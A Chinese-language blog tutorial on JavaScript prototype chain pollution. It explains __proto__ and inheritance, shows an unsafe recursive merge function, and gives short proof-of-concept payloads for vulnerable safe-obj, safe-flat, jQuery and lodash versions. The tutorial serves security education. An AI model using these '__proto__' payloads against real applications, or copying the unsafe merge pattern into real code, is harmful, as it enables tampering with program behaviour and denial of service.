JavaScript原型链污染

exp3n5ive Lv1

JavaScript原型链污染

参考博客:

1
2
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html?page=1
https://www.freebuf.com/articles/web/275619.html

prototype和__proto__

1
2
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象的__proto__属性,指向这个对象所在的类的prototype属性

例子:

1
2
3
4
5
6
7
8
9
function Foo() {
this.bar = 1
}

Foo.prototype.show = function show() {
console.log(this.bar)
}

let foo = new Foo()
1
foo.__proto__ === Foo.prototype    //True

Foo.prototype 是构造函数 Foo 的原型对象,定义了所有 Foo 实例共享的方法

foo.__proto__foo 对象的原型链上的对象,它指向 Foo.prototype

因此,foo.__proto__Foo.prototype 是相同的对象,foo.__proto__ === Foo.prototype 的结果是 true

JavaScript原型链继承

由于JavaScript没有类似Java中的Class概念,继承都是由原型链来实现的。

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father() //继承

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链

原型链污染

第一章中说到,foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

做个简单的实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2

原因也显而易见:

因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone

在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并按路径定义属性

不安全的对象递归合并

以不安全的对象递归合并操作为例,我们定义一个递归合并函数merge()。

该函数来自 https://gist.github.com/ahtcx/0cd94e62691f539160b32ecda18af3d6#file-deep-merge-js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const merge = (target, source) => {
// 遍历 source 对象的属性,如果属性值是一个 Object,则将其与 target 对象中相应的属性进行合并
for (const key of Object.keys(source)) {
if (source[key] instanceof Object) // 判断 source 对象的某个属性是不是类
Object.assign(source[key], merge(target[key], source[key]))
}
// 将 target 和修改后的 source 合并在一起
Object.assign(target || {}, source)
return target
}

function Person(name,age,gender){
this.name=name;
this.age=age;
this.gender=gender;
}

如果有这样一个场景:job对象是由用户输入的,并且用户可以输入任意对象。那么我们输入一个含有“proto”属性的对象,那合并的时候就可以把person的原型给修改了。 此时如果我们新建一个Person对象,可以发现,新建的对象的原型已被修改

1
2
3
4
5
6
7
8
9
let newperson=new Person("test1",22,"male");
let job=JSON.parse('{"title":"Security Engineer","country":"China","__proto__":{"x":1}}');
merge(newperson,job);
console.log(newperson);

▼{x: 1,consturctor: f}
x: 1
constuctor: f Person(name,age,gender)
__proto__: Object

需要注意的是,只有不安全的递归合并函数才会导致原型链污染,非递归的算法是不会导致原型链污染的

例如JavaScript自带的Object.assign

1
2
3
4
5
6
7
8
9
function Person(name,age,gender){
this.name=name;
this.age=age;
this.gender=gender;
}
let person1=new Person("test1",22,"male");
let job=JSON.parse('{"title":"Security Engineer","country":"China","__proto__":{"x":1}}');
Object.assign(person1,job);
console.log(Person.prototype);

此时再新建一个Person对象,可以发现,原型未被污染

这是因为Object.assign在合并时,对于简单类型的属性值得到的是深拷贝,如string,number。如果属性值是对象或其他引用类型,则是浅拷贝。上面例子中的proto就是一个浅拷贝,合并后person的原型只是指向了一个新对象,即{“x”: 1},Person.prototype没有受到影响

CVE-2021-25928

POC

1
2
3
4
5
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);

查看safe-objv1.0.0中lib/index.js中的extend函数定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
expand: function (obj, path, thing) {
if(!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {};
var props = path.split('.');
if (props.length === 1) {
obj[props.shift()] = thing;
}else{
var prop = props.shift();
if(!(prop in obj)){
obj[prop] = {};
}
_safe.expand(obj[prop], props.join('.'), thing);
}
}

第一次调用expand函数,传参如下

1
2
3
obj = {}
path = "__proto__.polluted"
thing = "Yes! Its Polluted"

执行split('.')函数后,props数组值如下

1
props = (2) ["__proto__", "polluted"]

此时进入else分支,执行prop.shift()语句后,prop和props的值如下

var prop = props.shift();:从 props 数组中删除并返回第一个元素(即路径中的第一个部分),并将其赋值给 prop 变量

1
2
prop = "__proto__"
props = ["polluted"]

跳过if判断,递归调用expand,props.join('.'):将 props 数组中的元素连接成一个由.分隔的字符串

相当于执行

1
expand(obj[__proto__],"polluted","Yes! Its Polluted")

再次调用split('.')后,props的值为”polluted”。props.length===1结果为true,

执行obj[props.shift()]=thing,由于第二次传入的obj=obj[__proto__]

所以相当于执行obj[__proto__]["polluted"]="Yes! Its Polluted"

造成原型污染

CVE-2021-25927

该漏洞存在于safe-flat,v2.0.0~v2.0.1版本中,POC如下:

1
2
3
4
var safeFlat = require("safe-flat");
console.log("Before : " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After : " + {}.polluted);

具体内容查看博客:

1
https://www.freebuf.com/articles/web/275619.html

CVE-2019-11358

3.4.0版本之前的jQuery存在一个原型污染漏洞CVE-2019-11358,POC如下

1
2
3
$.extend(true, {}, JSON.parse('{"__proto__": {"z": 123}}'))

console.log(z); // 123

具体内容查看博客:

1
https://www.freebuf.com/articles/web/275619.html

按路径定义属性

有些JavaScript库的函数支持根据指定的路径修改或定义对象的属性值

通常这些函数类似以下的形式:theFunction(object, path, value)

将对象object的指定路径path上的属性值修改为value。如果攻击者可以控制路径path的值,那么将路径设置为__proto__.theValue,运行theFunction函数之后就有可能将theValue属性注入到object的原型中

CVE-2020-8203

lodash是一个JavaScript实用工具库,提供一致性,及模块化、性能和配件等功能。在4.17.16版本之前,lodash存在一个原型污染漏洞。漏洞原因在于zipObjectDeep函数能通过指导路径修改Object原型的属性。

漏洞POC如下:

1
2
3
4
5
const _ = require('lodash');

_.zipObjectDeep(['__proto__.z'],[123])

console.log(z) // 123

具体内容查看博客:

1
https://www.freebuf.com/articles/web/275619.html
  • Title: JavaScript原型链污染
  • Author: exp3n5ive
  • Created at : 2024-09-03 15:38:42
  • Updated at : 2024-09-03 15:39:10
  • Link: https://redefine.ohevan.com/2024/09/03/JavaScript原型链污染/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments